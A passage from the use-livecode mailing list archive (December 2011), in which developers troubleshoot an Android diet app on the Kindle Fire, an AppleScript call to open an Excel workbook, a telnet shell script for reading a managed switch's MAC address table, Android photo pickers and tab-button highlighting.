screenrect', but ive probably forgotten to remove the geometry MobGUI adds, if I move an image by just 1 pixels the geometry data is added back and then mobgui puts things back to where I put them while designing the layout for each screen size whatever I do with the code, so if I actually move the bar up 60 pixels for the 600x1024 layout and fill the space with a black bar for other devices this should help in case I shift it again by accident! I think I need to do a little more actually and check both the working and actual screenrects so if they are not 'expected' then maybe add a send in xxx milliseconds command to make sure even if the geometry data exists and mobgui does its stuff, then when a different working rect is detected due to a soft toolbar etc the interface is resized again after any mobgui changes to make sure it works in all cases. One for the morning :) The real problem I have is I dont have a Fire, and cant get one here at the moment! Unfortunately I was in the States about 3 days before the release, but I had to do the same earlier to work with a 800x1280 tablet running honeycomb on the emulator. Ideally Id like to get the full tablet interface working on a Fire, but im not back in the States until Feb so it will have to wait until then unless Amazon choose to sell it here before then! Andy On 9 Dec 2011, at 20:31, Ben Rubinstein wrote: > On 08/12/2011 17:25, Andrew Henshaw wrote: > > Ive uploaded an apk of the app via if anyone has a phone and wants to try it > > On 09/12/2011 19:04, Ben Rubinstein (me!) wrote: >> * The Fire has a soft control panel... When using your app, this panel is >> permanently there; and it overlays your app's control bar (eg >> diary/food/exercise/breakdown). Similarly when I select the menu button from >> that panel, your menu slides up but the bottom row is largely obscured by the >> Fire's control panel. > > OK, I confused myself because I can't do maths; but this is actually pretty simple. 'The screenrect' for the Fire returns "0,0,600,1024"; 'the working screenrect' returns "0,40,600,964", which correctly reflects a 40 pixel status bar, and 60 pixels for the control bar at the bottom (though NB the shadow of the latter protrudes a few more pixels). The rect of the stack is "0,0,600,924", which correctly describes the space in which you can work. > > So my guess is that you are currently positioning your bottom elements using the screenrect; whereas if you used the height of the stack it would fix this problem. > > Ben > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From henshaw at me.com Fri Dec 9 19:25:46 2011 From: henshaw at me.com (Andrew Henshaw) Date: Sat, 10 Dec 2011 00:25:46 +0000 Subject: When to release a free Android app? (development cycle) In-Reply-To: <4EE25BBF.6020305@cogapp.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> Message-ID: <5C1A7300-A9EE-42EA-B0D2-BBD199C9B7E0@me.com> Thanks again Ben, sorry for replying out of order!! Ill definitely fix the menu bar issue in the morning, but just wondering if anyone has any suggestions as to the icon and reversed portrait modes? Ill try using the set orientations to allow both portrait orientations, maybe that will work, but the icon I cannot see an obvious answer for as it is currently a setting in liv On 9 Dec 2011, at 19:04, Ben Rubinstein wrote: > Hi Andy, > > I can't give much insight into the market, because I'm new to the Android scene. In relation to the phone versus tablet issue however, I've taken a look at it on the Kindle Fire and it seems pretty good to me. > > I've only spotted two serious snags: > > * I let the screen lock kick in while on the select weight page (trying to decide how much to lie) - when I unlocked the screen, it refreshed partially but not fully. Not sure if there's a way you can detect/deal with this. > > * The Fire has a soft control panel - instead of hardware buttons for home/menu/back it displays these plus search at the bottom of the screen whenever it sees fit (eg in the reading app, they disappear until you tap the center of the screen). In the Fire's own apps, some other controls are somtimes added to thi standard set. When using your app, this panel is permanently there; and it overlays your app's control bar (eg diary/food/exercise/breakdown). Similarly when I select the menu button from that panel, your menu slides up but the bottom row is largely obscured by the Fire's control panel. > > I'll post a separate query to the list on this topic, because I'd be interested to know the right way to handle it. > > Apart from these, two things you could do which would I think make the app more pleasant to use on the Fire would be: > > * a higher-resolution icon - the Fire shows recent icons really big on the home screen, and the current one for your app looks stretched > > * support the reversed portrait orientation. In my use, I find that I'm mostly using the Fire 'upside down' from what Amazon apparently expect (so that the power button is at the top); their standard apps all handle this, so it's jarring when another app can't handle it. > > In my personal view, from my limited testing on this one device, if you fixed the above four issues it would be entirely reasonable to post the app, for tablets as well as phones. But my Android experience is extremely limited, so I suspect you would do better to get some testing on a much wider range of devices. > > HTH, > > Ben > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Fri Dec 9 19:29:12 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Fri, 9 Dec 2011 16:29:12 -0800 Subject: Applescript for getting data from a spreadsheet In-Reply-To: References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> <0DFC082B-3B9B-4D61-8EA3-A1EBA3D0E59A@twft.com> Message-ID: have you used revUnixFromMacPath(*macPathname*[,*convertOSX*]) to clean up the pathname for AS? On 9 December 2011 16:03, Bob Sneidar wrote: > > 8-) > > > > The Excel documentation has numerous traps. Sometimes the syntax is > > natural and sometimes... surnatural. ;-) > > > > Try: > > open workbook workbook file name "DHCP Clients.xlsx" > > > > > > Best regards, > > -- > > -Zryip TheSlug- wish you the best! 8) > > http://www.aslugontheroad.com > > I get: error "Microsoft Excel got an error: Can?t continue open workbook." > number -1708 > > By the way I know the path is correct. > > I tried with the full path: > open workbook workbook file name "/Volumes/data/LogosAdmin/TechData/Tech > Documents/DHCP Clients.xlsx" > > I tried the short name: > open workbook workbook file name"DHCP Clients.xlsx" > > I tried setting the default path: > set default file path to "/Volumes/data/LogosAdmin/TechData/Tech > Documents/" > open workbook workbook file name "DHCP Clients.xlsx" > > Thanks for trying zryip. This has reminded me why after great hopes that > Applescript could replace Hypercard (in some sense), why I was driven to > despair and went looking for some kind of hypercard-like software. That was > when I found Revolution/Livecode. Applescripters are at the mercy of the > people in the software developers employ concerning how they implement > their dictionary, and how they document it. Places where enumeration makes > all the sense in the world, you might find they didn't implement it. Places > where a simple argument like the full path to a file, as in "open workbook" > simple does not work like that, and there is NOTHING but NOTHING in the way > of developer documentation to explain how the hell they want you to do > things! That is insanity waiting to happen, and I am already crazy so there > is no new ground to cover here. > > By the way, I know the path is correct. I copy/pasted it from the Get Info > window. > > Bob > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From zryip.theslug at gmail.com Fri Dec 9 19:35:48 2011 From: zryip.theslug at gmail.com (zryip theSlug) Date: Sat, 10 Dec 2011 01:35:48 +0100 Subject: Applescript for getting data from a spreadsheet In-Reply-To: References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> <0DFC082B-3B9B-4D61-8EA3-A1EBA3D0E59A@twft.com> Message-ID: On Sat, Dec 10, 2011 at 1:03 AM, Bob Sneidar wrote: >> 8-) >> >> The Excel documentation has numerous traps. Sometimes the syntax is >> natural and sometimes... surnatural. ;-) >> >> Try: >> open workbook workbook file name "DHCP Clients.xlsx" >> >> >> Best regards, >> -- >> -Zryip TheSlug- wish you the best! 8) >> http://www.aslugontheroad.com > > I get: error "Microsoft Excel got an error: Can?t continue open workbook." number -1708 > > By the way I know the path is correct. > > I tried with the full path: > open workbook workbook file name "/Volumes/data/LogosAdmin/TechData/Tech Documents/DHCP Clients.xlsx" > > I tried the short name: > open workbook workbook file name"DHCP Clients.xlsx" > > I tried setting the default path: > set default file path to "/Volumes/data/LogosAdmin/TechData/Tech Documents/" > open workbook workbook file name "DHCP Clients.xlsx" The problem should be in the unix path. Try: set myPath to POSIX file "/Volumes/data/LogosAdmin/TechData/Tech Documents/DHCP Clients.xlsx" open workbook workbook file name myPath Best regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.co.cc From bobs at twft.com Fri Dec 9 20:12:16 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 17:12:16 -0800 Subject: Applescript for getting data from a spreadsheet In-Reply-To: References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> <0DFC082B-3B9B-4D61-8EA3-A1EBA3D0E59A@twft.com> Message-ID: <82C72610-7FC2-4959-8C9B-C3597BE75AED@twft.com> No. Right now I am just trying to put the script together in the Applescript Editor. Bob On Dec 9, 2011, at 4:29 PM, stephen barncard wrote: > have you used > > revUnixFromMacPath(*macPathname*[,*convertOSX*]) > > > to clean up the pathname for AS? From bobs at twft.com Fri Dec 9 20:15:02 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 17:15:02 -0800 Subject: Applescript for getting data from a spreadsheet In-Reply-To: References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> <0DFC082B-3B9B-4D61-8EA3-A1EBA3D0E59A@twft.com> Message-ID: <88DDDFD2-D974-4253-979B-C6554A73DD44@twft.com> Hey! That did the trick! Now how would anyone know that? Let's say I was the first person ever to begin working with Applescript. How would I have ever come up with that solution? But thank you. Now I can get on with my uber utility. Bob On Dec 9, 2011, at 4:35 PM, zryip theSlug wrote: > On Sat, Dec 10, 2011 at 1:03 AM, Bob Sneidar wrote: >>> 8-) >>> >>> The Excel documentation has numerous traps. Sometimes the syntax is >>> natural and sometimes... surnatural. ;-) >>> >>> Try: >>> open workbook workbook file name "DHCP Clients.xlsx" >>> >>> >>> Best regards, >>> -- >>> -Zryip TheSlug- wish you the best! 8) >>> http://www.aslugontheroad.com >> >> I get: error "Microsoft Excel got an error: Can?t continue open workbook." number -1708 >> >> By the way I know the path is correct. >> >> I tried with the full path: >> open workbook workbook file name "/Volumes/data/LogosAdmin/TechData/Tech Documents/DHCP Clients.xlsx" >> >> I tried the short name: >> open workbook workbook file name"DHCP Clients.xlsx" >> >> I tried setting the default path: >> set default file path to "/Volumes/data/LogosAdmin/TechData/Tech Documents/" >> open workbook workbook file name "DHCP Clients.xlsx" > > The problem should be in the unix path. > > Try: > set myPath to POSIX file "/Volumes/data/LogosAdmin/TechData/Tech > Documents/DHCP Clients.xlsx" > open workbook workbook file name myPath > > > Best regards, > -- > -Zryip TheSlug- wish you the best! 8) > http://www.aslugontheroad.co.cc > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 9 21:50:27 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 18:50:27 -0800 Subject: Running a multiline shell command Message-ID: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> This has been discussed before, but I am trying to run multiple lines of shell commands using the shell() function. It looked like it worked at first, only the telnet session dumped me before I could get any information out of the switch. Now it looks like I am not even talking to the shell anymore. The shell script looks like this: script "/users/shared/macaddresses.txt" telnet 172.16.0.121 theUser thePassword print "show mac-address" exit exit y n script off I have this in a stack property, and put it into a variable. I replace theUser and thePassword with the actual credentials before running shell(). The result is empty. I have executed the above commands line by line in a terminal and I do end up with a file with the output of the shell window as neat as you please. But when I try to execute within Livecode using the shell() function I get squadouche. The goal is to get the mac address table from a Procurve managed switch. Any ideas? Bob From henshaw at me.com Sat Dec 10 07:00:27 2011 From: henshaw at me.com (Andrew Henshaw) Date: Sat, 10 Dec 2011 12:00:27 +0000 Subject: When to release a free Android app? (development cycle) In-Reply-To: <4EE25BBF.6020305@cogapp.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> Message-ID: <33BD6DAA-8334-407F-923A-0C4AE2ABDF12@me.com> Thanks again for the details Ben, ive been through them and... - The softbar on the Kindle Fire I hope ive fixed this issue, its difficult to tell without a real device but ive tested on the honeycomb emulator which is similar as it has soft buttons and it seems to work. The problem however is that on most of my phones the working screenrect is returned as exactly the same as the screenrect, even though there may be a top statusbar showing. On the honeycomb emulator and from your Fire details it looks like they are returning the real working screen area so this might be something Runrev want to look into to make sure the real working screenrect is returned for every device. - The rotation Ive added portrait upside down to the list of supported orientations, and now on half my devices it now rotates, on the others its fixed. Id guess that is probably an Android thing! Hopefully on the Fire it will now rotate! - The icon The larger icon is apparently delivered by Amazon for apps through their store (114px), and any apps that are 'side loaded' to use their terms cant have the larger icon, so thats a no go, but its not a bug or something livecode can fix, its just an Amazon thing. - The refresh Not much I can do about this one either without a physical tablet, it sounds like an engine issue though as I have no code doing anything at that point. Ive also added code in to try to have some basic support for 800x600 and 1280x800 tablets. Its pretty nasty as they really should have the iPad tablet style interface but as I cant see a way in the store to prevent the app listing for tablets and phones it would need to work on most tablets before I could release it, so ive fixed that. Thanks again for the feedback, it really is appreciated! Andy From bdrunrev at gmail.com Sat Dec 10 07:53:04 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Sat, 10 Dec 2011 12:53:04 +0000 Subject: Running a multiline shell command In-Reply-To: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> References: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> Message-ID: Could it be an issue with the "return" character? As you know, they are different on each platform. You could try variations between ascii 10 and 13. If you have it working as a script on your file system, you could try putting that script into a custom property (get hold of it using a binfile URL schema). If that can be successfully passed to telnet and you get the response you expect, then you know that the problem lies elsewhere. Whilst tracking down the problem, I'd get it working with the correct username and password in the script on the filesystem, then with those in place move that script into the stack as a binary object, and worry about substituting them later for deployment. Bernard On Sat, Dec 10, 2011 at 2:50 AM, Bob Sneidar wrote: > This has been discussed before, but I am trying to run multiple lines of > shell commands using the shell() function. It looked like it worked at > first, only the telnet session dumped me before I could get any information > out of the switch. Now it looks like I am not even talking to the shell > anymore. The shell script looks like this: > > script "/users/shared/macaddresses.txt" > telnet 172.16.0.121 > theUser > thePassword > print "show mac-address" > > exit > exit > y > n > script off > > I have this in a stack property, and put it into a variable. I replace > theUser and thePassword with the actual credentials before running shell(). > The result is empty. I have executed the above commands line by line in a > terminal and I do end up with a file with the output of the shell window as > neat as you please. But when I try to execute within Livecode using the > shell() function I get squadouche. > > The goal is to get the mac address table from a Procurve managed switch. > Any ideas? > > Bob > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bonnmike at gmail.com Sat Dec 10 08:29:29 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 10 Dec 2011 06:29:29 -0700 Subject: Running a multiline shell command In-Reply-To: References: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> Message-ID: Could also go the open process route. put "telnet youripdaddress" into tProcess open process tProcess for update -- not real code, just quicky pseudo read from the process until you get the username prompt write theusername & return to process tProcess read from process until yuo get the username prompt write thepassword & return to process tProcess read till you see a prompt write "the command you need here" & return to process tProcess read from process to get the info you need. There is a very simple interactive shell stack that I posted here somewhere (was based on windows) but if you change it to run your telnet instead, you can go through line by line entering the commands yourself (as you did from a terminal) and see what responses you are looking for so that you can more easily set up the final script. It will display the promps you need so you know what you're looking for before each "send" Another option would be to figure out timings and just "wait for..." instead of doing a read to see if its time to enter username or password. Found my link to the interactiveshell stack. Should be easy to find the place to change "cmd" to your telnet command. http://dl.dropbox.com/u/11957935/simpleInteractiveShell.livecode As I said its set up for windows at the moment so will choke on open. (opens the process when stack opens) so might turn messages off before opening so you can tweak it first. On Sat, Dec 10, 2011 at 5:53 AM, Bernard Devlin wrote: > Could it be an issue with the "return" character? As you know, they are > different on each platform. You could try variations between ascii 10 and > 13. > > If you have it working as a script on your file system, you could try > putting that script into a custom property (get hold of it using a binfile > URL schema). If that can be successfully passed to telnet and you get the > response you expect, then you know that the problem lies elsewhere. Whilst > tracking down the problem, I'd get it working with the correct username and > password in the script on the filesystem, then with those in place move > that script into the stack as a binary object, and worry about substituting > them later for deployment. > > Bernard > > On Sat, Dec 10, 2011 at 2:50 AM, Bob Sneidar wrote: > > > This has been discussed before, but I am trying to run multiple lines of > > shell commands using the shell() function. It looked like it worked at > > first, only the telnet session dumped me before I could get any > information > > out of the switch. Now it looks like I am not even talking to the shell > > anymore. The shell script looks like this: > > > > script "/users/shared/macaddresses.txt" > > telnet 172.16.0.121 > > theUser > > thePassword > > print "show mac-address" > > > > exit > > exit > > y > > n > > script off > > > > I have this in a stack property, and put it into a variable. I replace > > theUser and thePassword with the actual credentials before running > shell(). > > The result is empty. I have executed the above commands line by line in a > > terminal and I do end up with a file with the output of the shell window > as > > neat as you please. But when I try to execute within Livecode using the > > shell() function I get squadouche. > > > > The goal is to get the mac address table from a Procurve managed switch. > > Any ideas? > > > > Bob > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mwieder at ahsoftware.net Sat Dec 10 13:23:15 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Sat, 10 Dec 2011 10:23:15 -0800 Subject: Running a multiline shell command In-Reply-To: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> References: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> Message-ID: <1451098371.20111210102315@ahsoftware.net> Bob- Friday, December 9, 2011, 6:50:27 PM, you wrote: > The goal is to get the mac address table from a Procurve managed switch. Any ideas? What OS? Do you have an "expect" command available? -- -Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Sat Dec 10 13:28:29 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 10 Dec 2011 12:28:29 -0600 Subject: Android photo sources Message-ID: <4EE3A4CD.2030906@hyperactivesw.com> The docs for Android say that when using the photo picker you can choose from the camera, library, or album. What's the difference between an album and a library in this case? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From stephenREVOLUTION2 at barncard.com Sat Dec 10 13:38:40 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Sat, 10 Dec 2011 10:38:40 -0800 Subject: Android photo sources In-Reply-To: <4EE3A4CD.2030906@hyperactivesw.com> References: <4EE3A4CD.2030906@hyperactivesw.com> Message-ID: I would imagine 'library' would be all the available pictures, and album would be a specific set of pictuers. On 10 December 2011 10:28, J. Landman Gay wrote: > The docs for Android say that when using the photo picker you can choose > from the camera, library, or album. What's the difference between an album > and a library in this case? > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From roger.e.eller at sealedair.com Sat Dec 10 14:59:05 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Sat, 10 Dec 2011 14:59:05 -0500 Subject: When to release a free Android app? (development cycle) In-Reply-To: <33BD6DAA-8334-407F-923A-0C4AE2ABDF12@me.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> <33BD6DAA-8334-407F-923A-0C4AE2ABDF12@me.com> Message-ID: On Sat, Dec 10, 2011 at 7:00 AM, Andrew Henshaw wrote: > Thanks again for the details Ben, ive been through them and... > > - The softbar on the Kindle Fire > > I hope ive fixed this issue, its difficult to tell without a real device > but ive tested on the honeycomb emulator which is similar as it has soft > buttons and it seems to work. > > The problem however is that on most of my phones the working screenrect is > returned as exactly the same as the screenrect, even though there may be a > top statusbar showing. On the honeycomb emulator and from your Fire > details it looks like they are returning the real working screen area so > this might be something Runrev want to look into to make sure the real > working screenrect is returned for every device. > > - The rotation > > Ive added portrait upside down to the list of supported orientations, and > now on half my devices it now rotates, on the others its fixed. Id guess > that is probably an Android thing! Hopefully on the Fire it will now > rotate! > > - The icon > > The larger icon is apparently delivered by Amazon for apps through their > store (114px), and any apps that are 'side loaded' to use their terms cant > have the larger icon, so thats a no go, but its not a bug or something > livecode can fix, its just an Amazon thing. > > - The refresh > > Not much I can do about this one either without a physical tablet, it > sounds like an engine issue though as I have no code doing anything at that > point. > > Ive also added code in to try to have some basic support for 800x600 and > 1280x800 tablets. Its pretty nasty as they really should have the iPad > tablet style interface but as I cant see a way in the store to prevent the > app listing for tablets and phones it would need to work on most tablets > before I could release it, so ive fixed that. > > Thanks again for the feedback, it really is appreciated! > > Andy I tried your app on my Viewsonic g-Tablet 10.1" running Honeycomb 3.01 in a 1024x600 display. The default orientation is portrait with hardware buttons at the bottom, and rotating the tablet 180 also works. I use my tablet in a dock most of the time, and 10" tablets feel odd to me in portrait orientation, so landscape would be nice. Everything worked including your menu, activated from the new hardware button control (Thanks RunRev!). Scrolling was fairly smooth. The only slowness was when it goes into an expanded search for food items. I like the app and it looks very professional, plus it made me start thinking about improving my diet. So, good job! Question: When I setup my profile, I enter my height, then when you go to weight, there is a pre-selected weight. Am I to assume that this is the 'ideal' for my height, or do you simply have a default chosen? ?Roger From jacque at hyperactivesw.com Sat Dec 10 15:33:07 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 10 Dec 2011 14:33:07 -0600 Subject: Android photo sources In-Reply-To: References: <4EE3A4CD.2030906@hyperactivesw.com> Message-ID: <4EE3C203.2000102@hyperactivesw.com> On 12/10/11 12:38 PM, stephen barncard wrote: > I would imagine 'library' would be all the available pictures, and album > would be a specific set of pictuers. Right, but on my device they're the same. When I open Gallery I get them all, in piles. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Sat Dec 10 16:08:43 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 10 Dec 2011 15:08:43 -0600 Subject: When to release a free Android app? (development cycle) In-Reply-To: References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> <33BD6DAA-8334-407F-923A-0C4AE2ABDF12@me.com> Message-ID: <4EE3CA5B.7010205@hyperactivesw.com> On 12/10/11 1:59 PM, Roger Eller wrote: > Question: When I setup my profile, I enter my height, then when you go to > weight, there is a pre-selected weight. Am I to assume that this is the > 'ideal' for my height, or do you simply have a default chosen? I got curious so I tried it on my 7" Archos. It's a nice looking app, great job. Screens fit fine, menu works fine, placement seemed good. Graphics and layout were attractive and the buttons were big enough to hit easily (thanks for that!) I couldn't set up the profile though, when I got to the part about weight I got only a blank screen, nothing to choose from. I tried all three weight measurements but they were all blank. Also the back button doesn't quit the app, at least here. Otherwise it looks very nice. If I could get a calorie measurement I'd use it. Actually, if I could get a weight, I'd make my husband use it. :) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From roger.e.eller at sealedair.com Sat Dec 10 16:57:33 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Sat, 10 Dec 2011 16:57:33 -0500 Subject: When to release a free Android app? (development cycle) In-Reply-To: <4EE3CA5B.7010205@hyperactivesw.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> <33BD6DAA-8334-407F-923A-0C4AE2ABDF12@me.com> <4EE3CA5B.7010205@hyperactivesw.com> Message-ID: On Sat, Dec 10, 2011 at 4:08 PM, J. Landman Gay wrote: > On 12/10/11 1:59 PM, Roger Eller wrote: > >> Question: When I setup my profile, I enter my height, then when you go to >> weight, there is a pre-selected weight. Am I to assume that this is the >> 'ideal' for my height, or do you simply have a default chosen? >> > > I got curious so I tried it on my 7" Archos. It's a nice looking app, > great job. Screens fit fine, menu works fine, placement seemed good. > Graphics and layout were attractive and the buttons were big enough to hit > easily (thanks for that!) I couldn't set up the profile though, when I got > to the part about weight I got only a blank screen, nothing to choose from. > I tried all three weight measurements but they were all blank. Also the > back button doesn't quit the app, at least here. > > Otherwise it looks very nice. If I could get a calorie measurement I'd use > it. Actually, if I could get a weight, I'd make my husband use it. :) > > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > It does count the calories once you have a profile and start adding items to the diary. I wonder why that didn't work. I like the energy chart of carbs. protien, and fat too. ?Roger From henshaw at me.com Sat Dec 10 17:01:40 2011 From: henshaw at me.com (Andrew Henshaw) Date: Sat, 10 Dec 2011 22:01:40 +0000 Subject: When to release a free Android app? (development cycle) In-Reply-To: References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> <33BD6DAA-8334-407F-923A-0C4AE2ABDF12@me.com> Message-ID: <37709323-758A-4DAA-8FCD-50F388B69202@me.com> Thanks for the feedback Roger. Ill port the iPad interface over to Android for the tablets in the Christmas break as its much more suited to larger devices, a lot of the screens are merged and it works in landscape and portrait, but for now the scaled up version will have to do, I never really intended to have it running on tablets at all but the manifest option to specify the lack of large screen support isnt in there yet. The expanding search is slow because its doing a net query and thats taking too long at the moment. The information is all cached locally however, so once you have done the search once there is never much need to do it again. To answer the second question, the app calculates what the USA government see as your ideal weight based on your height, age and gender and prefills that as a starting point for the weight as most people will then scroll down to their real weight. Again, ideally this will all be improved with a much better picker but I just wanted to get to a point of having a working app which I could then tinker with and improve section by section. Andy > > Question: When I setup my profile, I enter my height, then when you go to > weight, there is a pre-selected weight. Am I to assume that this is the > 'ideal' for my height, or do you simply have a default chosen? > > ?Roger > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From henshaw at me.com Sat Dec 10 17:05:06 2011 From: henshaw at me.com (Andrew Henshaw) Date: Sat, 10 Dec 2011 22:05:06 +0000 Subject: When to release a free Android app? (development cycle) In-Reply-To: <4EE3CA5B.7010205@hyperactivesw.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> <33BD6DAA-8334-407F-923A-0C4AE2ABDF12@me.com> <4EE3CA5B.7010205@hyperactivesw.com> Message-ID: <06BD22CD-2524-4025-B413-10C5CF6B3D94@me.com> Thanks Jacqueline, Ill check out the weight screen, I had that problem once, hit back, then forward again and it fixed itself so I thought it was just a glitch somewhere with the scroller not being populated but maybe not!!! Ill check it out! If you want to get further into the app pressing back, then forward again might work as the setup screens are really just the basic first bits, the main interface is where the datagrids, scrollers, database and net access etc all come together. What I do like about Livecode is that apart from the interface, the code that runs the backend and does all the above is the same for the iPhone, iPad and Android, and it wont be a huge job to add proper tablet support but I think Ill buy one first!!! Andy On 10 Dec 2011, at 21:08, J. Landman Gay wrote: > On 12/10/11 1:59 PM, Roger Eller wrote: >> Question: When I setup my profile, I enter my height, then when you go to >> weight, there is a pre-selected weight. Am I to assume that this is the >> 'ideal' for my height, or do you simply have a default chosen? > > I got curious so I tried it on my 7" Archos. It's a nice looking app, great job. Screens fit fine, menu works fine, placement seemed good. Graphics and layout were attractive and the buttons were big enough to hit easily (thanks for that!) I couldn't set up the profile though, when I got to the part about weight I got only a blank screen, nothing to choose from. I tried all three weight measurements but they were all blank. Also the back button doesn't quit the app, at least here. > > Otherwise it looks very nice. If I could get a calorie measurement I'd use it. Actually, if I could get a weight, I'd make my husband use it. :) > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From henshaw at me.com Sat Dec 10 17:12:12 2011 From: henshaw at me.com (Andrew Henshaw) Date: Sat, 10 Dec 2011 22:12:12 +0000 Subject: When to release a free Android app? (development cycle) In-Reply-To: References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> <33BD6DAA-8334-407F-923A-0C4AE2ABDF12@me.com> <4EE3CA5B.7010205@hyperactivesw.com> Message-ID: <217E4B60-4E66-4381-87F4-2BC49CDB6483@me.com> The chart is ok as its one of Scott Rossis TM gauges so it looks great, but its only basic info in there at the moment. The iPad interface does a lot more and its all coded, I just need to work on the interface to get it over to Android tablers. The original iphone version really was just designed so users of my desktop 'Perfect Diet Tracker' (also a Livecode app) can add things on the move and then sync them with their desktop when they get home. The Android port does everything the iPhone version does apart from the sync, I need socket support for that! The iPad version however does more, and Ill get that over to Android tablets as soon as I have time. I dont consider it to be a complete app by any means, there are so many things I want to add to make the app more usable but was held back by the lack of scrollers on Android. When John added scrollers to MobGUI I gave it a go and im quite pleased so far. Andy > > It does count the calories once you have a profile and start adding items > to the diary. I wonder why that didn't work. I like the energy chart of > carbs. protien, and fat too. > > ?Roger > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jhurley0305 at sbcglobal.net Sat Dec 10 18:58:46 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Sat, 10 Dec 2011 15:58:46 -0800 Subject: Highlighting tabs In-Reply-To: References: Message-ID: I have a tab menu button. When I open the card I want to set the highlight of a particular tab to true. How do I address that property? Thanks, Jim Hurley From martyknapp at comcast.net Sat Dec 10 19:31:51 2011 From: martyknapp at comcast.net (Marty Knapp) Date: Sat, 10 Dec 2011 16:31:51 -0800 Subject: Highlighting tabs In-Reply-To: References: Message-ID: <4EE3F9F7.6080102@comcast.net> Hi Jim, Use the menuHistory - set the menuHistory of btn "MyTabButton" to 3 Marty K > I have a tab menu button. > > When I open the card I want to set the highlight of a 